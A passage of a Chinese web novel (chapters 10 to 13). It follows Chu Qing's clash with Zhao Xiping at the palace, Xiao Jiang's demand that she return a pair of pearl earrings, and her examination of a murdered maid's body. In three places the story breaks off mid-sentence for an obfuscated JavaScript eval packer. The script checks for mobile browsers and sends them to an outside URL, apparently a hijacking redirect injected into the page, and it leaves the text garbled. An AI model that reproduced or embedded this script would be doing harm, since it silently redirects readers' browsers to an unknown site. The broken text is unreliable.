萧绛紧紧握着茶盏，面色虽平稳，但指尖已泛起阵阵青白。沉默片刻，他颔首：“儿臣妄言了。” 忽然袭来的北风吹开了大殿的窗子，气氛瞬间冷到了极点。 萧绛起身：“儿臣去关窗。” 皇后遂道：“你坐，让陈嬷嬷去。” 一旁候着的陈嬷嬷便去关窗。 眼下也快到了宫宴开宴的时辰，二人不能闲谈太久，皇后便吩咐宫人拿来几张画像交给萧绛，让萧绛在这些人里选出一位合适的一位驸马人选。萧绛应下后，先皇后一步出了永宁宫。 叶安一直在门口等他。萧绛将画像交给叶安，让他去调查这些人的底细。叶安便在前往鎏芳殿的路上先查看起这些画像。 画像中人都是京中出了名的才子，论才学论容貌，都很难挑出毛病。 叶安边看边压着嗓子同一旁的兄长埋怨：“到底是亲女儿，选个驸马这么麻烦。我记得王爷当年选妃的时候，皇后娘娘可没费这么多心思。” 叶危及时提醒：“王爷还在轿子里，你少说几句。” 叶安不平道：“本来就是嘛，还不让人说了。当初皇后给王爷定亲的时候，那速度快得跟生怕未来王妃长翅膀飞了一样。寻常百姓家定亲还要问问八字呢，王爷的婚事倒好，直接一道圣旨，连商量都没商量就定了。” 叶安越说越气，索性收起了给九公主选婿的画像。 “得亏楚二姑娘人还不错，方才赵西平冲撞了王爷，她还帮王爷去算账。我看楚二姑娘今天还特意戴了王爷送的东珠耳坠，心里显然是有王爷的。若是王爷真因为赐婚娶了个自己不喜欢、也不喜欢自己的人，那得多委屈啊。” “用不着你替王爷委屈。”叶危再次提醒，“王爷如今正在风口浪尖上，我们这些做下人的也要谨言慎行，免得给王爷惹麻烦。” 叶安遂道：“我知道，这不是没旁人在嘛！” 叶危看了眼轿子，声音压得更低：“王爷还在，你少给王爷添堵。” 叶安满不在乎地摆摆手：“放心吧，王爷听不见。” 话音未落，修长的手指掀开轿帘，从那一道巴掌宽的缝隙里透出萧绛冷如刀锋般的目光。 “你方才说什么？”萧绛冷声质问。 叶安的脑袋轰得炸了一声，忙回话：“属下说，楚二姑娘人不错。” 萧绛依旧紧皱眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790859|158092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头：“不是这句。” 叶安不明所以。 萧绛直接道：“你说楚二今日戴的东珠耳坠，是本王送的？” 叶安愣了片刻，点头：“昂，是王爷送的。除夕那天，皇后娘娘提醒王爷给楚二姑娘送新年贺礼，王爷便吩咐属下挑件礼物送过去。王爷忘了吗？” 萧绛沉默良久，攥车帘的手指紧了又紧，几乎快把轿帘揉碎在手里。 他的确曾让叶安挑礼物送给楚二，却没让他挑那件！ 萧绛甩手放下轿帘，把叶安弄晕了头。叶安委屈巴巴地顿住脚步问兄长：“哥，我做错什么了？” 可惜这次叶危也没看明白。他一心想教导弟弟，便停下脚步趁机说教：“早说了让你谨言慎行。” 叶安长叹：他不理解，自从上次王爷见过楚二姑娘，整个人就越来越奇怪了。 正从金庆宫往外钻的楚卿冷不防打了个喷嚏，动作幅度太大，险些撞到洞口上的青石砖。 先一步翻墙出来的林七忙拉她起来：“大人，你没事吧？” 楚卿拍了拍身上的土：“小事。等回去啊，你还是教教我轻功。我这没有一技傍身，出门真是麻烦。” 林七浅笑：“大人若将属下的一身本事都学去，属下岂不是要辞退归隐了。” “你想的美。”楚卿在她鼻尖前打了个响指，“想甩开我啊？门都没有。” 楚卿已经将金庆宫里里外外查过一遍，该查到的线索都已经查到。旧时场景再次出现在眼前，楚卿也回想起不少起火当晚的事情。 但眼下她还得抓紧时间赶回去参加宫宴，不能再耽搁时间，便没在金庆宫久留。 回程路上，楚卿匆匆赶路，一面抖着衣裙上沾上的炭灰，一面叮嘱林七：“待会萧绛在，你可千万别再叫我大人了。” 林七点头：“属下明白。” “‘属下’二字也不能再说了。”楚卿提醒。 林七不语。 坦白讲，她改不了口。“大人”二字她唤了五年。时至今日，她依旧记着楚卿第一次被人称为“大人”时，眼底的光有多亮。 眼底的喜悦是骗不了人的。林七比谁都清楚，如果不是因为世俗所迫，她的大人本该是朝中最耀眼的新星。 楚卿看出林七为难，便道：“罢了，我知道你有分寸。” 林七也道：“嗯，属下闭嘴便是。” 金庆宫和鎏芳殿间隔着两道宫巷。楚卿和林七言谈间已经穿过第一道宫巷，到了鎏芳殿后的一片小花园。 赵小侯爷赵西平恰好也在。 赵西平刚从晋王那得了一把上好的长弓，正在小花园里琢磨着试试手。他在花园里看里一圈，没找着合适的靶子，好巧不巧，楚卿和林七就来了。 楚卿和赵西平对视一眼，礼貌性一笑，欠身行礼：“晦气。” 赵西平没听见到楚卿的话，但他微微眯起眼，笑里不知藏着什么坏水。 楚卿见状便拉着林七加快脚步，不想同赵西平再有瓜葛。 可刚走没两步，突然传来一声箭鸣。 嗖！ 林七反应极快，立刻推了楚卿一把。否则那枚羽箭虽不至于伤及楚卿性命，但必然会划伤她的脸。 飞速射来的羽箭被林七抓住，咔嚓一声断成两截。 不惜一切保护楚卿，这是林七刻在骨子里的本能。 所以她几乎没给赵西平任何反应的机会，冰冷的匕首已经架到了赵西平的脖子上。 “小七，住手。” 皇宫内不得擅动兵刃。 楚卿出言拦下林七。 可伴着她的话音，方才被羽箭扫过的东珠耳坠突然碎成两半。 咔哒，掉在了楚卿脚下的青石砖上。 11. 第十一章 突然被人横刀架在脖子上，任谁都会吓一大跳。赵西平虽不算软骨头，却仍瞬间惊出了一身冷汗。 一个名不见经传的小丫鬟，哪里来的如此身手？ 楚卿已经开口叫住林七，可林七的匕首仍抵在赵西平的脖子上。 刀刃染上寒冬的冷气，顺着颈侧那一条皮肉陡然传遍全身，赵西平的心仿佛在悬崖边荡了一遭，连呼吸都凝在刹那之间。 楚卿再次开口：“小七，退下。” 此事不宜闹大，否则一旦闹到皇后甚至是皇上那，林七的身份难保不会暴露。 林七握刀的手越攥越紧，已经泛起细微的青筋。 楚卿又唤了一声：“小七，我没事。” 林七这才收手。 赵西平被林七一把推出去，踉跄间险些扑倒在地。可他方一站稳，第一句话竟是：“皇宫禁廷，公然执凶器伤人，你们祁王府的人，好大的胆子！” 未等楚卿开口辩驳，刚好巡逻至此的禁卫军已随赵西平一声令下，将楚卿和林七二人抓了起来。 …… 永宁宫。 一刻钟前，皇后刚好撞见禁卫军在小花园里抓人。她没见过楚卿，却听见赵西平说楚卿是祁王府的人。皇后担心事情闹到皇帝那会给萧绛添麻烦，便将此事压下来，把楚卿和赵西平一起拎到了永宁宫问话。 永宁宫前殿大门紧闭，除了方嬷嬷和陈嬷嬷，其余宫人皆被皇后支了出去。 楚卿和赵西平一起跪在宫殿之下，林七则被捆在一旁等候发落。事情闹到这个地步，不在楚卿的意料之中。 楚卿看似从容地跪在大殿之下，实则脑中已经过了无数种解释的方法。可说明此事因赵西平而起容易，解释林七为何带刀却难。 林七如今不是吏部尚书的贴身护卫，一个镇南将军府的小丫鬟武艺超群，难免令人生疑。 皇后端坐在大殿之上，沉默打量二人片刻，先开口问楚卿：“说吧，怎么回事？” 楚卿抓住机会先发制人：“臣女的侍女误把赵小侯爷认成刺客，一时护主心切，擅自出手拿人，不慎冲撞了赵小侯爷。臣女在此，代她向赵小侯爷赔罪。” 赵西平不屑哧声：“赔罪就想了事？你的侍女今日胆敢把刀架在本侯的脖子上，保不齐明日就敢行刺陛下。” “放肆！”皇后厉声呵斥，“一名小小侍女如何行刺陛下？赵西平，皇宫禁卫三千，在你眼里难道形同虚设？” “微臣不敢。”赵西平不忿赔罪。 皇后这是有意偏袒楚卿，赵西平也看出来了，有皇后在，今天这事不可能伤及祁王府。楚卿是未来的祁王妃，他也轻易也动不得。眼下的情况，只能先拿那名险些中伤他的侍女问罪。 赵西平便把话往林七身上引：“就算今日之事是误会，楚二姑娘的侍女持刀入宫一事也是不可否认的事实。微臣受冲撞事小，公然违背宫廷禁规事大。皇后娘娘，此女持刀入宫又身手不凡，身份恐怕没那么简单。此事，需得奏请陛下严查。” 皇后不语，沉默一瞬，又问楚卿：“此女的身份，你可有解释？” 楚卿遂道：“臣女出身镇南将军府，家父战死沙场，兄长又早早病逝。家中如今只剩女子，可楚家武学不能失传。臣女不才，无能继承父兄的一身武艺，只好由自小一同长大的侍女代而为之。小七的一身武艺，正是因此而来。” 楚老将军是为国捐躯，临到战死还握着大靖的军旗。皇室自知对镇南将军府多有亏欠，楚卿如今搬出战死的楚老将军，纵使皇帝在场，也不能不给三分薄面。 有此解释，林七的身份可以暂且不论。但她持刀入宫仍是事实。 皇后想把这点搪塞过去，可赵西平却不依不饶：“那她的匕首，楚二姑娘又作何解释？”赵西平咄咄逼人道，“你可别说那是楚老将军的遗物，要日日带在身上辟邪！” 赵西平的话明显没把为国捐躯的楚老将军放在眼里，别说是楚卿，连一旁的方嬷嬷和陈嬷嬷都已看不下去。 可赵西平的话虽难听，却难以反驳。皇后身为后宫之主，也不好偏心地太明显，只好想了个折中的法子，吩咐道：“楚二姑娘今日受了惊吓，暂且送回镇南将军府修养。赵小侯爷不妨也回府找个郎中瞧瞧，免得不慎伤到哪没察觉，日后落下病根。至于这名侍女……” 皇后顿了顿，蹙眉道：“暂时扣留在永宁宫，待此事查清后发落。” 语罢，摆手赶人。 楚卿看出皇后不会为难林七。但林七的人\皮面具最多只能戴十二个时辰，时间久了难免漏出破绽，她不能在永宁宫久留。 楚卿遂叩首，准备为林七求情。可未等她开口，殿门忽然大开。 从殿门口传来清冷淡漠的话音：“母后不必查了。那柄匕首，是儿臣给楚二的。” 只见萧绛站在大殿门口，身上的狐裘大氅落满冬日的午阳。高大的身躯投下一道颀长的影子，一路从殿门口延伸到楚卿的膝下，像是伴着东风落入凡尘的仙君。 皇后闻言不确定地问：“秉言，你确定吗？” 萧绛移步殿内，一路走到楚卿身侧。他垂眸打量楚卿一眼，淡漠的眼神看不出丝毫情绪。 楚卿也抬眸，二人的目光一触即分。不知为何，此时此刻，她竟从这位老对头的身上，感觉到一种熟悉的心安。 萧绛道：“楚二不久前不慎落水，受了惊吓。儿臣便命人寻了一把开过光的匕首，送去镇南将军府为她压惊。但匕首戾气重，楚二身子弱，不宜贴身携带。故而儿臣才命她的贴身侍女随身佩戴，以祛落水缠身的邪祟。此事是儿臣思虑不周，劳母后费心了。” 楚卿听得一愣一愣的，心道：她的老对头可以啊，编瞎话的本事和她有一拼了！ 萧绛已经出面解释，皇后自然不会再深究。赵西平知道事已至此，他再说什么都改变不了结果，只好堵着一口气闭了嘴。 可萧绛却还没说完，他冷冷睨向赵西平，忽然质问：“不知赵小侯爷做了何事，竟会被人当作擅闯禁宫的刺客？” 楚卿闻言心中一喜，不愧是萧绛，一下就能抓住关键。 她方才说林七误把赵西平当作刺客，就是为了把矛头引到赵西平那一箭上。可惜方才皇后没接她的话，还好萧绛懂她。 赵西平被萧绛一句话问懵，方才还憋着不服的气顿时泄了一半。虽说那把弓是晋王赠予，并非他自己带入宫中。但那一箭，的的确确是他所射。 若萧绛真要深究，他只怕吃不了兜着走。 皇后知道赵西平那把弓源自晋王，方才也是因为担心赵西平着急开脱把晋王也牵扯进来，此事会因此进一步闹大，才没接楚卿的话。 眼下萧绛提起此事，皇后便给了赵西平一个台阶，道：“罢了，今日还有宫宴。此事就此作罢，楚二姑娘和赵小侯爷都各自回府吧！”又吩咐萧绛，“秉言，你送送楚二姑娘。” 萧绛遂道：“是。” 此事暂时终了，楚卿和林七被萧绛带出永宁宫。 出宫路上，楚卿几次想问萧绛为何帮她，最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他顿了顿：“若要谢，便谢秉烛书斋的斋主吧。” 楚卿被萧绛忽然提及秉烛书斋说的心底发虚，顿时出了一手心的冷汗。她隐约猜到萧绛知晓她从前和秉烛书斋的关系，却没敢再往深处想。 祁王府的车马已经在等候楚卿上车，楚卿便向萧绛辞行。可萧绛却欲言又止，似乎有事问楚卿。 楚卿见状便道：“我今日也算欠了王爷一个人情。王爷他日若有事用得上我，也尽管开口。我这人虽没多大本事，但只要王爷开口，定竭尽全力相助。” 萧绛的眉头再次皱起，犹豫片刻，终于开口：“本王的确有一事相求。” 楚卿一顿：“啊，可以啊！” 萧绛垂眸：“那对东珠耳坠，并非为你准备，能否还给本王？” 楚卿：？？？ 这对东珠耳坠是萧绛送的？ 早知道是萧绛送给楚二的，她说什么也不会戴出来，更不会戴出来见萧绛。 眼下的情况，已容不得楚卿细究这件事的前因后果。她忙伸手去摘耳坠，虽然心里有点舍不得，依旧装作十分大度道：“我当是什么事呢，王爷早说啊，一对耳坠而已，既然送错了，自然要还的。” 楚卿边说边摘耳坠，摘完左耳摘右耳。 等等，右耳的耳坠呢？ 糟了！ 右耳的耳坠被赵西平一箭射成两半，眼下还躺在鎏芳殿后的小花园里呢！ 楚卿一拍额头，这下可麻烦了！ 12. 第十二章 “堂堂一个王爷，怎么这么小气？送出手的东西，居然还有往回要的道理。” 楚卿坐在海云端后院的暖阁里，边说边夹起一枚纸皮核桃，狠狠夹了下去。 纸皮核桃本没那么硬，她使的力气太大，可怜的核桃连皮带仁一起碎了满桌。 苏兰桡夺过楚卿手里的核桃夹，给她递了一枚剥好的核桃仁，道：“使那么大力气，你跟核桃有仇啊？冤有头债有主，有本事找祁王撒气去。” “我哪敢啊。”楚卿接过核桃仁，“你没看见他当时那脸色，活像一扇腊八的铁门，又冷又硬。早知道他那么宝贵那对耳坠，我就是自己被赵西平一箭射穿，也不可能让那只耳坠碎成两半。” 进宫一次，欠了萧绛两笔债，简直亏大了。 昨天萧绛问楚卿要耳坠，楚卿拿不出来另一只，只好实话实话。没想到话音未落，萧绛直接拂袖走了。 看他那急匆匆的样子，八成是回鎏芳殿外的小花园找耳坠去了。 楚卿昨夜想了一夜也没想明白那对耳坠宝贵在哪，便赶着今日一大早，乘着马车偷偷溜到了海云端找苏兰桡。 苏兰桡听楚卿提起赵西平，忽然想起一件事：“对了，听城西的探子说，安国公府的赵小侯爷昨天从宫里回来的路上不慎落马，摔断了胳膊。”她半眯着眼睛打量楚卿，“这事，是不是你干的？” 楚卿一脸无辜：“这是苍天有眼，我可不敢揽功。” 苏兰桡道：“你少装傻。赵西平差点害得小七被捕。他若是能安然无恙地回府，你就不是楚卿了。” 楚卿心想，她割缰绳还真不是因为林七那事。 但林七险些因为赵西平被困宫中，赵西平摔断了一条胳膊，少说也要三个月才能恢复，也算活该。 楚卿便没多解释，转而说起正事：“我这次进宫，去了一趟金庆宫，想起些事情，你有空帮我查查。” 苏兰桡闻言放下手里剥了一半的核桃，面色顿时严肃起来：“有线索了？” 楚卿点头：“算是吧！” 楚卿此去金庆宫也算故地重游。尽管金庆宫已经面目全非，但楚卿依旧回想起不少起火当晚的事情。 她隐约记起，那天是因为一名舞女撞倒了烛台，烛火燎着舞台周围的帷幕，金庆宫才会起火。 火势很大，场面顿时乱作一团。 文官们四处躲避，争相往外逃蹿。武将们纷纷叫骂，大吼着喊人救火。 殿内的宫人们从四面八方跌跌撞撞地跑向皇帝，都在高呼：“救驾！救驾！” 而楚卿那时正坐在靠近殿门的席位上，她第一时间起身出去喊人。 哪成想刚走到门口，突然有人趁乱从后方勒住她的脖子，用一方浸满迷/药的帕子捂住了她的嘴。 楚卿立即屏息防止吸入迷/药，反手抽出藏在腰间的匕首，在那人的手臂上狠狠划了一刀。 可惜那人身手太好，即使手臂中刀，仍将楚卿拦下打晕。 楚卿虽没记起那人的样子，但她刺那一刀下手极重，如不及时医治，只怕会直接废掉一条胳膊。 所以楚卿想托苏兰桡到京中各处的医馆查查，看看近半年里是否有人医治手臂的刀伤。尽管这个办法如同大海捞针，甚至希望不大，但总归算条线索，总比毫无头绪强。 苏兰桡是急性子，没等楚卿说完立马吩咐人出去调查，又问楚卿：“还有其他的吗？” 楚卿道：“确实还有一件事。但不是火场的事情，而是九公主萧凝。” 方嬷嬷昨日一时嘴快，说漏了皇后借宫宴给九公主选驸马的事情。楚卿总觉得这事有蹊跷。 她解释完，问苏兰桡：“九公主三月才及笄，皇后这么急着选驸马做什么？” 苏兰桡思量一瞬，蹙眉道：“金敕王世子？” 没头没尾的一句话，楚卿硬是听懂了：“和亲？” 苏兰桡道：“估计是这样。你葬身火海以后，瀚水盟约的事情拖了大半年，直到年前才敲定于今年三月初三举行签订大典。金敕使臣最晚下月中旬抵达京城。如今京中已有传言称来京的金敕使臣不是别人，正是金敕的王世子赫巴拓。” 赫巴拓正当娶妻之年，金敕一族又曾多次暗示大靖和亲。此次金敕一族派赫巴托来朝，其心昭然若揭。 楚卿不由攥拳：“得寸进尺。” 瀚水盟约的起因本就是金敕一族率先投降求和，眼下事态安稳，他们倒反客为主打起了和亲的主意，真当大靖朝中无人了。 “现在是谁在负责瀚水盟约？”楚卿问道。 苏兰桡顿了顿，不知该不该说。这件事，她特意没记录到给楚卿的册子里。 犹豫片刻，苏兰桡叹了一声：“去年中秋大火以前，瀚水盟约是你手里最大的事。我不懂你们朝中的这些弯弯绕绕，但也听到了不少风闻。京中人都说接手瀚水盟约的人，就是放火害你的人。” 楚卿虽看出苏兰桡神色反常，却仍面不改色地端起茶盏，吹开茶杯升起的热气，不慌不忙道：“嗯，我也考虑过这点。”又抬眸问，“瀚水盟约一事，还是礼部负责吗？” 苏兰桡点头，又沉默片刻，终于开口：“瀚水盟约仍是礼部负责。但因为新任礼部尚书迟迟没有选出来，所以眼下主管礼部和瀚水盟约签订一事的人，是祁王萧绛。” 楚卿一顿，指尖在茶杯上停留太久，不慎被烫了一下。 茶盏险些脱手掉在地上，几滴热茶溅到了楚卿的裙摆上。苏兰桡忙给她递帕子，她摆摆手拒绝了。 “小事。”楚卿放下茶盏，面色恢复平静，“也对，他如今正在势头上。瀚水盟约签订这么大的事情，他会接手也正常。” 楚卿说得从容，可苏兰桡看得明白，楚卿从始至终，唯一没有怀疑过的人就是萧绛。虽说他们在朝中斗了多年，但棋逢对手，也难免惺惺相惜。 苏兰桡遂道：“这件事，我一直在派人盯着，本想找到明确线索再告诉你。但眼下你问了，我也不好瞒你。你一出事，萧绛立刻接手了瀚水盟约，似乎早就做好了准备。而且此事他盯得很紧，我想从外围打探些有关瀚水盟约的情况，几次险些被他的人发现。可见，瀚水盟约一事，他费了很大的心思。” 如此费尽心机，为了拿到此事的监管权，也未必不能冒险放火杀人。 楚卿的目光渐渐冷了下去：“把我们的人撤回来吧，别盯了。萧绛的人不好对付，万一被他顺着查到海云端，不好糊弄过去。瀚水盟约的事情，我和小七亲自去查。你这半年也够辛苦了，休息休息吧！” 苏兰桡无奈笑笑：“我也想休息，可楚大人的事情一件赶一件，我哪敢闲下来？” 说着，她从怀中取出一封信笺递给楚卿。 楚卿愣了愣，接过信笺。 苏兰桡解释道：“上次你托我查楚二身边失踪的那名丫鬟，查到了。” 楚卿忙问：“秋云？” 苏兰桡叹了一声：“嗯，只可惜，人已经没了。” …… 镇南将军府，西院书房。 檀木书案上摆着厚厚一摞账本，上面记的都是近年来高弘储私下经商的账目。他出身商户之家，自小耳濡目染，对经商之事远比为官敏感。若不是因为十几年前攀上镇南将军府的高枝，他如今大抵正在南境跑商。 自打半个月前他去监察司揭了吏部的老底，每每再见吏部同僚，他就心虚。谁多看他一眼，少看他一眼，他都会怀疑是不是对方发现他举报吏部，正暗中谋划着害他。 所以前些日子，他寻个机会给自己报了病假。自己上报、自己批条，凭着他六品吏部主事的闲职，以公谋私，自己准了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790861|158092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的病假。而后便一直闲在家里品茶逗鸟，日子好不快活。 但这几日倒春寒，他夜里时常睡不好，偶尔会梦见自己因为贪污受审，最后连带着高家满门被斩。 他一向迷信，便琢磨着这是上天启示，在提醒他要出大事。 所以他趁这段时间把自己曾经贪腐的财物倒卖一空，一应证据也销毁得一干二净，开始琢磨着既然有可能保不住头上的乌纱帽，不如早早辞官离京。他这些年暗中经商攒下不少积蓄，足够他带着家人南下安家。 而且他还能趁离京的机会，和楚二母女闹一次分家。如果不出意外，他作为将军府这十几年里唯一能掌家的男人，按规矩能分走大半的财产。 高弘储计划得明明白白，这几日就一直忙着计算账目。只等他把积蓄从京城钱庄转走，就可以开始和楚二母女谈分家了。 十几年的账目杂乱如麻，高弘储看了一上午，只觉得眼睛发酸，密密麻麻的小字像水渠上的飞蚊，晃来晃去带着重影。 他撂笔，揉了揉眼。恰在此时，书房的门夫人楚暮被叩响。 “老爷，该用午膳了。” 高弘储忙将书案上的账目藏好，起身去开门。 这几日高弘储总窝在书房里，楚暮一直觉得奇怪。眼下高弘储宁可亲自来开门，也不准她进书房，她便狐疑地朝书房里瞟了一眼：“你不是告了病假吗？怎么反倒比往日更忙了？” 高弘储怕楚暮不肯跟楚二母女闹分家，一直没同楚暮讲他打算辞官离京的计划。眼下楚暮怀疑他，他只好搪塞：“阿闻快回来了，我在给友人写信，托人去城外接他。” 高弘储口中的“阿闻”，是高家长子高闻。 年前，高闻和楚二起了冲突，楚二也是在那次冲突时落水重病。 一向软弱的蒋氏为给楚二讨公道，差点穿上诰命服去京师府衙敲登闻鼓。好在楚暮将人拦了下来。 那件事后，高弘储担心事情闹大传到祁王府，便暂时将高闻送回老家居住。 原本他和蒋氏约定，楚二出嫁以前，高闻不会再回将军府。但眼下高弘储筹划离京一事忙得团团转，得找个信得过的人帮他。夫人楚暮终归姓楚，高弘储遂给老家写信，提早把人喊了回来。 算着日子，高闻今日也该进京了。 楚暮不知道高弘储暗中的打算，便问：“不是说等楚二出嫁再接阿闻回来吗？怎么提早了？” 高弘储闻言不悦：“我儿子回自己家，还用得着外人应允？” 这话听着刺耳。说到底，将军府终究姓楚，他们高家人才是鸠占鹊巢的外人。 楚暮毕竟出身楚家，听见这话心里不好受。可高弘储是她的丈夫，她也不好说什么，便提醒：“楚二如今是圣上亲封的祁王妃，你把阿闻提前喊回来，可得好好叮嘱他，让他别再和楚二起冲突了。” 高弘储更不悦，骂道：“妇人短见。楚二再飞上枝头，也是个后宅里相夫教子的女人。等再过几年，我儿考了功名，她楚二又算个什么东西！” 楚暮没再接话。 因为于她而言，“相夫教子”是一生最大的职责。可她的丈夫却觉得，这是没本事的表现。似乎在这个世道里，居于后宅的女人，永远比不上在外打拼的男人。 午膳早已备好，楚暮便不再多言，默默跟在丈夫的身后前去用膳。 而另一头，楚卿也随苏兰桡乘着马车离开了海云端。 她们要去一趟城郊的义庄。 苏兰桡的人在城外的冰湖里找到了小丫鬟秋云的尸体，眼下尸体还在义庄里存着。 楚卿学过些验尸的本事，她想亲自去查查，秋云到底是怎么死的。 而秋云投湖的冰湖，正是楚二落水的冰湖。 楚卿也很好奇，半月之前，楚二到底是因何落的水。 13. 第十三章 楚卿随苏兰桡进入义庄时，秋云的尸体就平躺在简陋的木板床上。因为天寒水冷，尸体没有腐坏。可被冰冷的湖水足足浸泡了半月之久，原本瘦小的身躯已经胀大了两圈。 她梳着最喜欢的双丫髻，穿着楚二前年送给她的青色夹袄。夹袄的颜色微微泛白，不知是因为被湖水浸泡久了，还是穿得太久褪了色。 她的袖口上还打了补丁。楚卿记着，她曾在楚二的记忆里见过这枚补丁的来由。 去年冬天，西院克扣楚二母女的炭火。秋云去找西院的管事嬷嬷讨说法，被西院的下人打了一顿，拉扯间就撕坏了衣裳。 袖口的补丁是楚二亲手缝的。小丫鬟被打得浑身青紫，却还是笑着对楚二说：“小姐的手艺真好，打补丁像绣花一样好看。” 她笑起来眉眼弯弯的，像是不懂世间愁苦，眼睛干净透彻得可以映出人影。 可眼下躺在义庄里的人，再也不会笑了。 义庄的看门老头认得苏兰桡，但不识得楚卿。苏兰桡胆子小，不敢进门。进来查验的人只有楚卿自己。看守老头见来人是个陌生姑娘，便好意提醒：“姑娘，死人不好看，当心受了惊吓。” 楚卿淡淡道谢：“劳您费心了。” 她径直走到尸体旁，先检查了秋云的口鼻。溺亡的人口鼻中会有残存的溢液，但楚卿在秋云的口鼻中没有找到类似的特征。她又开始仔细检查秋云的身上是否还有其他伤口。 看门老头在义庄守了几十年，见过各式各样死法离奇的尸体，更见过不少被死人吓得连自己亲人都不敢认的人。可眼前这位姑娘面色从容，举止有度，不仅丝毫不惧怕，反倒从容不迫地查探起死者的死因。 他不免惊讶，上前道：“姑娘若要查她的死因，为何不送到官府去查，亲自动手，岂非脏了您的手？” “脏”字有些刺耳。楚卿停下动作，回眸睨他一眼：“劳您出去避嫌，在下需要为这位姑娘解衣。” 看门老头自以为好意，却在楚卿那碰了壁。他心里不爽快，临被楚卿赶出来还不满地嘀咕：“一个死人，身子都泡烂了，还怕旁人看吗？给我看我都不稀罕。” 楚卿的耳力极佳，自然听到了老头的话。她面不改色，淡淡回身道：“衙门的仵作一直缺尸体练手，您若不在乎身后如何，不妨百年之后将尸体捐去县衙充公，也算为后世积德。” 楚卿的语气四平八稳，甚至面上还带着平和的笑。可看门老头却冷不防打了个哆嗦，总觉得楚卿看他那眼神，是真能守着他等他到死那天，把他的尸体送去充公。 他心里吓得一颤，面子上忍要装作不屑，啐了一口“黄毛丫头”，因着出去的时候关门太狠，可怜那老旧的门闩被生生砸得松动几分。 苏兰桡一直在门外等楚卿，见状便问：“什么情况？” “那位姑娘在检查尸体的死因，让老头子我出来避嫌。”老头和苏兰桡是旧相识，语气明显带了诉苦的意思。苏兰桡看出老头许是在楚卿那受了委屈，不由笑道：“阿楚是刀子嘴豆腐心，您别和她计较。” 看门老头依旧不满，但苏兰桡已经开口，他也不能不给面子，便抱臂杵在门口，朝门缝里打量一眼：“也怪老头子我说话不过脑子，活该被骂。”又问，“里面躺着的姑娘，是什么人啊？” 苏兰桡道：“一名苦命的小丫鬟。” 看门老头朝里望着，忍不住叹了口气：“如今这世道，人命比草贱。这些被卖出来的姑娘，一条命抵不过二两米钱。运气好些，跟个好主子，还能安安稳稳过完这辈子。可若运气差些，受了欺负，丧了命，别说是讨公道，连个收尸的都没有。” 北风吹得义庄的旧门吱嘎作响，一下开，一下合，时不时露出楚卿俯身查看尸体的身影。即使隔着一道门，依旧能闻到尸体散发的异味。看门老头不由感慨：“也不知里面这小丫鬟是命苦还是命好，倒是跟了位好主子。” 苏兰桡遂解释：“阿楚不是那小丫鬟的主子，她们只算萍水相逢。” 看门老头不由愣了一下，再回神，便没接话，只是默默将门掩好，顺带将方才自己粗暴关门砸歪的门闩也仔细扳正了。 外面风寒，义庄里还时不时传出一阵阵怪味。苏兰桡在门口守了一阵，实在忍不下去，便回到马车上等。约莫过了快半个时辰，楚卿终于从义庄里出来。 苏兰桡听见开门声忙探头去看，只见楚卿摊着一双手，满手连血带脓，一滴一滴的顺着北风往裙摆上吹。这一幕，差点没令她直接吐出来。 苏兰桡忙背过头隔着车窗给她递手帕：“快擦擦。”楚卿接过手帕，面不改色地擦了擦手，吩咐同来的海云端秘卫：“找间地窖把里面那位姑娘的尸体保存好，再去冰湖里挖些冰，别让尸体腐坏了。” 秘卫应下，楚卿便转身上车。 苏兰桡的目光在楚卿沾满污血的手上瞟了一眼，如同被刺到眼睛般连忙挪开了目光。她深吸一口气，捏住鼻子：“什么情况？” 楚卿身上沾着混着腐臭的血腥味，闻着实在反胃。 楚卿在苏兰桡对面坐稳，招呼车夫启程回城，边擦手边解释：“秋云的胸口有道刀伤，刀口很深。之前在水里冻着，血和脓都积在伤口里。眼下移到义庄，血水化了才流出来。”她将擦过手的帕子折好，血污朝上递给苏兰桡，“蜀绣的锦帕，哪位公子送的？挺大方啊。你还要吗？” 苏兰桡狠狠摇头：“不要不要！你喜欢你留着吧！” 楚卿见苏兰桡满脸嫌弃，只好将帕子包好收起，而后推开身侧的车窗通风。她也知道自己身上许是不太好闻，苏兰桡终日待在海云端乐坊，闻的都是胭脂水粉的香气，自然闻不惯眼下她身上的味道。 车窗打开，车里的味道慢慢散去。苏兰桡得以好好喘一口气，才回想起楚卿方才说的话。她眨了眨妩媚的狐狸眼，好奇地问：“听你方才的意思，秋云不是溺水？” “嗯，胸前的刀伤是致命伤。”楚卿的面色难得严肃。 秋云的身上远不止那一处刀伤。楚卿将她的身子仔仔细细检查过一遍，手臂、大腿、后背，各处都有淤青和鞭痕。 她在死前受过不少苦，绝不是溺亡这么简单。而且，楚卿还发现，秋云在死前或许受过欺负。在她身上，还有些被粗暴对待的痕迹。 马车一路颠簸，随着渐渐的倾斜的午阳，终于抵达了城门口。 